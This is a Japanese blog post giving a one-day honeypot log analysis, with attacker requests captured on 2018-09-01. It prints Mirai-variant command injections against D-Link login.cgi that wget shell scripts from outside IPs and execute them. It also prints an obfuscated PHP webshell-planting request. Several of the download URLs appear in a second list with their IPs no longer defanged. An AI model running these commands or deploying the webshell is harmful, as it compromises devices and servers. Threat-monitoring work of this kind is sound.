ハニーポットのログ分析（2018/09/01）

WOWhoneypotの2018/09/01(土) (運用88日目)の簡易分析です。
本日の総アクセス件数は 57件です。以下が全アクセスログです。

25 2018-09-01 GET /
8 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.87.77[.]250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$
1 2018-09-01 POST /images.php
1 2018-09-01 POST /cmx.php
1 2018-09-01 OPTIONS /
1 2018-09-01 HEAD /
1 2018-09-01 GET /y000000000000.cfg
1 2018-09-01 GET /user/register/
1 2018-09-01 GET /pma/scripts/setup.php
1 2018-09-01 GET /phpMyAdmin/scripts/setup.php
1 2018-09-01 GET /myadmin/scripts/setup.php
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.73.69[.]246/dl%20-O%20-%3E%20/tmp/.shinka2;sh%20/tmp/.shinka2%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://209.141.33[.]86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://148.72.176[.]78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://148.72.176[.]78/ken.sh%20-O%20-%3E%20/tmp/ken.sh;sh%20/tmp/ken.sh%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://128.199.251[.]119/t.php%27$
1 2018-09-01 GET hxxp://www.ip.cn/
1 2018-09-01 GET hxxp://www.123cha.com/
1 2018-09-01 GET hxxp://112.35.63[.]31:10083/index.php
1 2018-09-01 GET hxxp://112.35.53[.]83:10083/index.php
1 2018-09-01 GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21
1 2018-09-01 GET /cmx.php?cmd=echo+%22%3C%3Fphp+%5C%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%5C%24test%3D%5C%24func%28%27%5C%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%5C%24x%29%29%3B%27%29%3B%5C%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%3E%22+%3Eimages.php+%26+echo+Hello%2C+Peppa%21
1 2018-09-01 GET /admin/assets/js/views/login.js
1 2018-09-01 GET /000000000000.cfg
1 2018-09-01 CONNECT www.baidu[.]com:443
1 2018-09-01 CONNECT cn.bing[.]com:443

phpMyAdmin関連（5件）とphpのWebshell設置の調査（5件）と/を除外したアクセス数です。

8 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.73.69.246/dl%20-O%20-%3E%20/tmp/.shinka2;sh%20/tmp/.shinka2%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://209.141.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://148.72.176.78/ken.sh%20-O%20-%3E%20/tmp/ken.sh;sh%20/tmp/ken.sh%27$
1 2018-09-01 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://128.199.251.119/t.php%27$
1 2018-09-01 GET /user/register/
1 2018-09-01 GET /admin/assets/js/views/login.js
1 2018-09-01 GET /000000000000.cfg
1 2018-09-01 GET /y000000000000.cfg
1 2018-09-01 GET hxxp://www.ip[.]cn/
1 2018-09-01 GET hxxp://www.123cha[.]com/
1 2018-09-01 GET hxxp://112.35.63[[.]31:10083/index.php
1 2018-09-01 GET hxxp://112.35.53[.]83:10083/index.php
1 2018-09-01 CONNECT www.baidu[.]com:443
1 2018-09-01 CONNECT cn.bing[.]com:443 

本日来ていたD-Linkの脆弱性をつくMirai亜種はUA別で以下の種類がきていました。

10 User-Agent: Hakai/2.0
1 User-Agent: Shinka/2.0
1 User-Agent: Gemini/2.0 
1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

他には、以下が来ていました。
・Drupalに対する調査行為

・FreePBXに対する調査行為

・Polycom Provisonerに対する調査行為（2種）

・不正中継の調査行為（５種）

本日のハンティングログは以下です。Mirai亜種です。

8 2018-09-01 wget hxxp://77.87.77[.]250/izuku.sh
1 2018-09-01 wget hxxp://77.73.69[.]246/dl
1 2018-09-01 wget hxxp://209.141[.]33.86/d
1 2018-09-01 wget hxxp://148.72.176[.]78/ngynx
1 2018-09-01 wget hxxp://148.72.176[.]78/ken.sh
1 2018-09-01 wget hxxp://128.199.251[.]119/t.php 

以上です。